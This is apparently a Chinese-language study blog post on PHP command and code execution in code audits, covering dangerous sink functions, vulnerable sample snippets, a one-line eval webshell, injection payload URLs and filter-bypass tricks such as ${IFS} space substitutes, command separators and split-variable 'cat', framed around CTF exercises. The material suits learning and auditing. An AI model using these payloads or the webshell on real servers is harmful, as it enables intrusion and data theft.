代码审计——命令执行
文章目錄
- 前言
- 一、代碼執行的幾種方式
- 1、${}執行代碼
- 2、eval
- 3、assert
- 4、preg_replace
- 5、create_function()
- 6、array_map()
- 7、call_user_func()/call_user_func_array()
- 8、array_filter()
- 9、usort()/uasort()
- 二、常見命令執行的函數
- 1、system()
- 2、passthru()
- 3、exec()
- 4、shell_exec()
- 5、`反引號
- 6、ob_start()
- 三、代碼執行繞過姿勢
- 1、空格
- 2、命令終止符
- 3、命令分隔符
- 4、敏感字符繞過(cat)
- 5、無回顯命令執行
- 例題
- 6、無字母命令執行
前言
最近幾天簡單復習了代碼審計中的命令執行,這篇為自我復現時的一些總結
一、代碼執行的幾種方式
1、${}執行代碼
例:
<?php ${system('whoami')}; ${phpinfo()}; ?>2、eval
例:
<?php eval('echo "xx";'); echo "<br/>"; eval('system("whoami");'); echo "<br/>"; eval('phpinfo();'); ?>3、assert
(1)普通調用:
<?php assert($_REQUEST[peak]);?> 利用: http://x.x.x.x/xx.php?peak=phpinfo(); http://x.x.x.x/xx.php?peak=system('whoami');(2)動態調用:php官方在php7中更改了assert函數。在php7.0.29之后的版本不支持動態調用
<?php $a="assert"; $a($_REQUEST[peak]); ?> 利用同上4、preg_replace
例:
<?php $a='phpinfo()'; //括號后面的分號可有可無 preg_replace('/ab/e',$a,'abc'); //注意,preg_repalce的第一個參數必須要整體匹配到第三個,才可php執行參數2 ?>5、create_function()
定義:create_function (string $args,string $code)
$args 變量部分 $code 方法代碼部分 這個匿名函數類似于 function xx($args){ $code; } xx($args);注:create_function函數第二個參數只能使用雙引號或不使用任何符號,僅變量;第一個參數可使用單雙引號,也可以為空,但不能不使用符號;另外,第一個參數使用雙引號時,第二個參數不可有雙引號
例,一個可以命令執行的代碼
$func=create_function('$a',"echo $a"); $func($a); #上面的匿名函數類似于下面這幾行代碼: function xx($a){ //創建一個函數xx echo $a; //需要代碼塊 } xx($a); //執行函數#因為create_function函數的第二個參數是執行代碼的 #所以,pyload如下 $a='phpinfo();'; $func=create_function('$a',"echo $a"); $func($a);對比圖:
第二幅圖,瀏覽器展示:
一道CTF題目
6、array_map()
array_map() 函數將用戶自定義函數作用到數組中的每個值上,并返回用戶自定義函數作用后的帶有新值的數組
$a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array); //payload:?a=assert&b=system('whoami'); //分號可有可無拼接詳解
#payload:?a=assert&b=system('whoami'); $a = $_GET['a']; //$a=assert $b = $_GET['b']; //$b=system('whoami'); $array[0] = $b; //$array數組的第一個鍵的值為system('whoami'); $c = array_map($a,$array); //$c=array_map(assert,$array) //因為array_map函數將用戶自定義函數作用到數組中的每個值上,并返回用戶自定義函數作用后的帶有新值的數組,所以,array_map函數將assert函數作用到$array數組中的每個值上,又因為system('whoami');在$array數組中,所以,可以理解為使用assert函數執行$array數組的值并返回結果,這里也就是使用assert函數執行system('whoami');效果如圖:
7、call_user_func()/call_user_func_array()
1、call_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed 第一個參數callback是被調用的回調函數,其余參數是回調函數的參數。 function xx($a){echo $a; } $b=call_user_func ('xx','test'); echo $b; call_user_func相當于執行參數1的函數,也就是這里的xx,參數2是參數1函數的參數,也就是這里的$a 注,call_user_func函數的參數不加單雙引號會報錯,但依舊輸出結果,可以@不輸出報錯
也可以使用系統函數
例:
2、call_user_func_array()
也可使用系統函數
<?php $array[0]=$_GET['peak']; @call_user_func_array("assert",$array); ?> //payoad:?peak=system('whoami');例:
8、array_filter()
學習這個先要知道&除了是邏輯運算符,還是一個位運算符
例:3&1,就是3和1分別進行二進制的與運算,最后返回的值再轉換為10進制
只有當2個數對應的位都為1,該位運算結果為1,否則運算結果為0。即:1&1=1;1&0=0;0&0=0
array_filter() 函數用回調函數過濾數組中的元素。
該函數把輸入數組中的每個鍵值傳給回調函數。如果回調函數返回 true,則把輸入數組中的當前鍵值返回給結果數組。數組鍵名保持不變。
在線進制轉換:
https://tool.lu/hexconvert/
http://www.txttool.com/wenben_strbinary.asp
示例:
漏洞示例:
$array[0] = $_GET['a']; array_filter($array,'assert'); //將數組中的每個鍵值傳給回調函數(回調函數就是一種說法,不用管他),也就是assert //如果回調函數返回true,這里也就是如果assert成功執行,返回true,則把成功的結果返回 //true的原數組的值重新返還到原數組的對應鍵名下(這邊也就是第0位) //payload:?a=system('whoami'); //分號可有可無payload示例:
9、usort()/uasort()
(1)定義: usort() 使用用戶自定義的比較函數對數組進行排序 (2)語法: usort(array,myfunction); 參數 描述 array 必需。規定要排序的數組。 myfunction 可選。一個定義了可調用比較函數的字符串。如果第一個參數 <, =, > 第二個參數,相應地比較函數必須返回一個 <, =, > 0 的整數。這里你就理解為array的值使用myfunction參數執行
漏洞舉例:
$GET在php5.6中引入了新特性。即可以將數組展開成參數的形式,這是什么意思呢?就是在調用函數的時候,使用…運算符, 將數組和可遍歷對象展開為函數參數,在usort中,理解為白話的意思就是,可將傳入的array數組,變為myfunction函數的參數。
官方文檔可參考:
https://www.php.net/manual/zh/migration56.new-features.php
漏洞舉例:
那php5.6.27版本以下的怎么用usort,進行命令執行呢?
highlight_file(__FILE__); usort($_GET,'assert'); //payload:?1=1&2=phpinfo(); //注:這里僅限php5.4.45版本
注:uasort()用法和usort用法相同,只需要將函數名修改一下即可
二、常見命令執行的函數
1、system()
-
介紹:執行外部程序,并且顯示輸出
-
說明
同 C 版本的 system() 函數一樣,本函數執行 command 參數所指定的命令,并且輸出執行結果。
如果 PHP 運行在服務器模塊中, system() 函數還會嘗試在每行輸出完畢之后,自動刷新 web 服務器的輸出緩存。
該函數執行后,直接在終端窗口打印命令執行的結果
如果要獲取一個命令未經任何處理的原始輸出,請使用 passthru() 函數。
- 參數
command
要執行的命令。
return_var
如果提供 return_var 參數,則外部命令執行后的返回狀態將會被設置到此變量中。 - 返回值
成功則返回命令輸出的最后一行,失敗則返回 FALSE - 例:
2、passthru()
介紹:執行外部程序并且顯示原始輸出
- 說明
同 exec() 函數類似, passthru() 函數也是用來執行外部命令(command)的。當所執行的 Unix 命令輸出二進制數據,并且需要直接傳送到瀏覽器的時候,需要用此函數來替代 exec() 或 system() 函數。常用來執行諸如 pbmplus 之類的可以直接輸出圖像流的命令。通過設置 Content-type 為 image/gif,然后調用 pbmplus 程序輸出 gif 文件,就可以從 PHP 腳本中直接輸出圖像到瀏覽器。
- 參數
command
要執行的命令。
return_var
如果提供 return_var 參數, Unix 命令的返回狀態會被記錄到此參數。 - 返回值
沒有返回值。 - 例:
3、exec()
- 介紹:執行一個外部程序
- 說明
- 參數
command
要執行的命令。
output
如果提供了 output 參數,那么會用命令執行的輸出填充此數組,每行輸出填充數組中的一個元素。數組中的數據不包含行尾的空白字符,例如 \n 字符。請注意,如果數組中已經包含了部分元素,exec() 函數會在數組末尾追加內容。如果你不想在數組末尾進行追加,請在傳入 exec() 函數之前對數組使用 unset() 函數進行重置。
return_var
如果同時提供 output 和 return_var 參數,命令執行后的返回狀態會被寫入到此變量。 - 返回值
命令執行結果的最后一行內容。如果你需要獲取未經處理的全部輸出數據,請使用 passthru() 函數。
如果想要獲取命令的輸出內容,請確保使用 output 參數。 - 總結:執行系統命令,但它并不會自己輸出,需要配合echo/print例:
4、shell_exec()
- 介紹:通過 shell 環境執行命令,并且將完整的輸出以字符串的方式返回。
- 說明
- 參數
cmd
要執行的命令。 - 返回值
命令執行的輸出。如果執行過程中發生錯誤或者進程不產生輸出,則返回 NULL。 - Note
當進程執行過程中發生錯誤,或者進程不產生輸出的情況下,都會返回 NULL,所以,使用本函數無法通過返回值檢測進程是否成功執行。如果需要檢查進程執行的退出碼,請使用 exec() 函數。 - 總結:該函數也可執行系統命令,同exec()函數一樣,需要使用配合echo/print來輸出顯示內容
5、`反引號
與shell_exec函數的功能相同。
shell_exec其實是它的變體,使用方法和shell_exec一樣,例:
6、ob_start()
函數格式:ob_start(void)
說明:當緩沖區激活時,所有來自PHP程序的非文件頭信息均不會發送,而是保存在內部緩沖區。為了輸出緩沖區的內容,可以使用ob_end_flush()或flush()輸出緩沖區的內容。
php代碼使用ob_start,就會打開緩沖區,echo后面的字符不會輸出到瀏覽器,而是保留在服務器,直到你使用flush或者ob_end_flush才會輸出到瀏覽器
<?php header("Content-type: text/html; charset=GBK2312"); highlight_file(__FILE__); echo '<br>'; ob_start("system"); echo "ipconfig"; //注1:該函數只會返回最后一行數據 //注2:只能使用一次echo語句,使用兩個會無法輸出 //注3:php版本需要小于等于5.6.27 ob_end_flush(); ?>三、代碼執行繞過姿勢
注: 這里的1.txt內容為1 2.txt內容為2 shell.php內容為<?php @eval($_REQUEST['peak']);?>1、空格
在bash中,可以使用以下字符代替空格 < ${IFS} $IFS$9 %09例:
cat<xx.txt cat${IFS}xx.txt cat$IFS$9xx.txt%09是在url中利用
例:假設目標存在一句話,但過濾了空格
一句話:<?php @eval($_REQUEST[peak]);?>
payload:http://x.x.x.x/xx.php?peak=system('cat%09/flag.txt');
2、命令終止符
%00
%20#
3、命令分隔符
(1);
在shell中,分號表示連續執行命令
例:
(2)&
在Linux中,命令之后加上&,表示該命令以后臺方式執行。其中[1]表示后臺任務的標識,后面的數字表明后臺執行的任務的PID,所以第一個命令在shell中以后臺方式運行
例:
(3)&&
前面的命令執行成功了,再執行后面的;前面的不成功,不執行后面的
例:
(4)|
管道符左邊命令的輸出作為管道符右邊命令的輸入,因此左邊的命令不顯示,右邊的顯示
例:
(5)||
前面一個命令執行失敗,再執行后面;前面成功,不執行后面
例:
(6)%0a/%0d
只執行%0a/%0d后面的命令
例:
4、敏感字符繞過(cat)
(1)變量繞過
payload: http://x.x.x.x/shell.php?peak=system('a=ca;b=t;$a$b%09/flag.txt');
(2)base64編碼繞過
(3)命令后面可以添加未定義的初始化變量執行命令(未定義的初始化變量就是$xx,$后面隨意值)
例:
(4)連接符’’
例:
(5)將一個命令結果導入到文件中
例:
(6)網絡地址轉化為數字地址
轉換網址:http://www.msxindl.com/tools/ip/ip_num.asp
例:
5、無回顯命令執行
(1)使用延時函數
例:
(2)使用http進行進行連接
- 在攻擊機上執行監聽
- 在靶機上執行反彈shell
- 此時攻擊機會獲取到目標ip的shell權限
例題
目標www目錄下有一個peak.php和flag.txt,假設flag.txt無法直接訪問
<?php highlight_file(__FILE__); $ip = (string)$_GET['ping']; $ip = str_replace(">", "0.0", $ip); shell_exec("ping".$ip); ?>
(1)繞過方法1:使用cp命令將flag.txt復制重命名為22.txt,然后訪問22.txt
6、無字母命令執行
可以參考:https://blog.csdn.net/qq_41617034/article/details/105251741
參考其他:
https://blog.csdn.net/JBlock/article/details/88311388
https://www.cnblogs.com/-mo-/p/11519447.html
總結
以上是生活随笔為你收集整理的代码审计——命令执行的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 多多视频关注的在哪里找(如何评价原来的人
- 下一篇: 金克丝的三把武器叫什么